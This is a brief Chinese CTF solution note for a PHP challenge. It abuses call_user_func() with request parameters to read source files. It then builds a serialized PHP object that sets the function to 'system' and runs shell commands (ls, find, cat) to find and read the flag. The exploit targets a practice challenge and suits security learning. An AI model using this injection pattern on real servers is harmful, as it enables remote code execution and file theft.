前言
以前做的题
题解


猜测使用了call_user_func()
$result = call_user_func($func, $p);
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];读取源码func=file_get_contents&p=index.php

反序列化可行

<?php
class Test
{
    var $p = "/flag.php";
    var $func = "readfile";
}
$a = new Test();
echo serialize($a);
#$a->p = 'ls ../../../';
#$a->p ="find / -name 'flag*'";
$a->p = 'cat /tmp/flagoefiu4r93';
$a->func = 'system';![刷题笔记:[GKCTF2020]老八小超市儿](/medias/featureimages/26.jpg) 
                        
                        ![刷题笔记:[安洵杯 2019]easy_serialize_php](/medias/featureimages/20.jpg)